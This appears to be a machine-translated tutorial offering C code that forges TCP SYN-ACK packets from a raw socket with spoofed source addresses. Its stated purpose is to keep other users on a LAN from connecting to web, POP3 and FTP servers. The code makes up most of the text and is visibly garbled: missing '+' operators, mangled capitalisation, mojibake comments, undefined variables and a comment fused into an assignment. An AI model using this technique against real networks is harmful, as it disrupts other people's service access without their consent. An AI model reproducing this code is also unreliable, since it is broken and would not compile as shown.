Forge IP package, prohibit TCP connection

Have you thought about how to ban others from accessing Web Server, POP3, FTP, etc. in the LAN. So how do you forbidden? Everyone knows that TCP is connected, three handshakes, after which it can be confirmed. Then we should be able to fake a servant's handshake after the first time, so that the TCP connection is unsuccessful and cannot be accessed. The procedure is as follows:

Void Decodeip (BUF, IBUFSIZE) / / Analyzes the IP Packets IP

{

Ipheader * piphdr;

TCPHEADER * PTCPHDR;

Piphdr = (ipheader *) buf;

// Get the starting position of TCP Header

INT iiphlen = SizeOf (piphdr-> h_lenver & 0xf);

PTCPHDR = (TCPHEADER *) (BUF iiphlen);

/ / Judgment is the first handshake IP packet, piphdr-> th_flag = 2 ("-s ----")

IF (ibufsize == 48) && (piphdr-> iprotocol == ipproto_tcp) && (piphdr-> th_flag == 2)

Sendtcp_synack (szdestip, szsourceip, ptcphdr-> destport, ptcphdr-> Srcport, PTCPHDR-> SEQ);

}

Void sendtcp_synack (char * szsrcip, char * szdestip, unsigned short srcport, unsigned short destport, unsigned int ic)

{

Int IrrorCode;

Socket S;

IP_HEADER IP_HEADER;

TCP_HEADER TCP_HEADER;

PSD_Header PSD_Header;

Struct SockAddr_in Remote;

Char * ptr = NULL;

// Create a Socket

s = socket (AF_INET, SOCK_RAW, IPPROTO_IP);

IF (Checksockerror (S, "Socket-TCP")))

Return False;

Bool BOPT = TRUE;

Irrorcode = setsockopt (s, ipproto_ip, ip_hdrincl, (char *) & bopt, sizeof (bopt));

IF (CHECKSockerror (IrrorCode, "SetsockOpt-TCP"))

{

CloseSocket (s);

Return False;

}

// --- End-

// Camouflage connection

UNSIGNED Short itotalsize = 44;

Unsigned short itcpsize = 24;

Char * sendbuf = new char [itotalsize];

IP_HEADER.H_LENVER = (4 << 4 | sizeof (ip_header) / sizeof (unsigned long);

// High four version number, low four head length

IP_HEADER.TOTAL_LEN = HTONS (ITOTALSIZE); // 16-bit total length

IP_HEADER.TOS = 0;

IP_HEADER.IDENT = HTONS (17393); // 16 ?? ± ±ê?

IP_HEADER.FRAG_AND_FLAGS = 0; //3?? ±????????offsetip_header.ttl=57; // 8 ?? éú '? ê ± ?? TTL

IP_HEADER.PROTO = ipproto_tcp; // 8 ?? d-òé (TCP, UDP? -)

IP_HEADER.CHECKSUM = 0; // 16-bit checksum

ip_header.sourceip = inet_addr (szsrcip); // 32 remote address ·

IP_HEADER.Destip = INET_ADDR (SZDestip); // 32 bit destination address ·

IP_HEADER.CHECKSUM = Checksum ((Ushort *) & ip_header, 20);

// Pack TCP header

TCP_HEADER.TH_SPORT = HTONS (srcport); // Source Port

TCP_HEADER.TH_DPORT = HTONS (DESTPORT); // destination port

TCP_HEADER.TH_SEQ = HTONL (0x581A784D); // SYN serial number

TCP_HEADER.TH_ACK = HTONL (IACK 1); // Answer Sequence Number

TCP_HEADER.TH_LENRES = (ITCPSIZE / SIZEOF (unsigned long) << 4 | 0); // TCP length and reserved bit

TCP_HEADER.TH_FLAG = 0x12; // SYN flag

TCP_HEADER.TH_WIN = HTONS (65535); // Window size

TCP_HEADER.TH_URP = 0; // Emergency pointer

TCP_HEADER.TH_SUM = 0; // Check and

// Fill the TCP pseudo header (only for generating checks)

PSD_Header.saddr = IP_HEADER.SOURCEIP;

PSD_Header.daddr = IP_Header.destip;

PSD_Header.mbz = 0;

PSD_Header.ptCl = ipproto_tcp;

PSD_Header.tcpl = htons (itcpsize);

ZeromeMory (Sendbuf, ITOTALSIZE);

/ / Calculate TCP checksum, including pseudo TCP Header

Memcpy (sendbuf, & psd_header, sizeof (psd_header));

PTR = Sendbuf SizeOf (PSD_HEADER);

Memcpy (PTR, & TCP_HEADER, SIZEOF (TCP_HEADER));

Ptr = sendbuf sizeof (psd_header) sizeof (tcp_header);

* PTR = (char) 0x02; * (PTR 1) = (char) 0x04; * (PTR 2) = (char) 0x05; * (PTR 3) = (char) 0xB4;

TCP_HEADER.TH_SUM = Checksum ((USHORT *) Sendbuf, Sizeof (PSD_Header) 24);

ZeromeMory (Sendbuf, ITOTALSIZE);

// Fill the send buffer

Memcpy (sendbuf, & ip_header, sizeof (ip_header));

Ptr = sendbuf sizeof (ip_header);

Memcpy (PTR, & TCP_HEADER, SIZEOF (TCP_HEADER));

Ptr = sendbuf sizeof (ip_header) sizeof (tcp_header);

* PTR = (char) 0x02; * (PTR 1) = (char) 0x04; * (PTR 2) = (char) 0x05; * (PTR 3) = (char) 0xB4; remote.sin_family = AF_INET;

Remote.sin_port = htons (destport);

Remote.sin_addr.s_addr = inet_addr (szdestip);

Irrorcode = Sendto (S, Sendbuf, ITOTALSIZE, 0, (SockAddr *) & Remote, SizeOf (remote));

Checksockerror (Irrorcode, "SYNACK Sendto");

// Spost closure connection

iTotalsize = 40;

ITCPSIZE = 20;

// end --------

CloseSocket (s);

delete [] sendbuf;

Return True;

}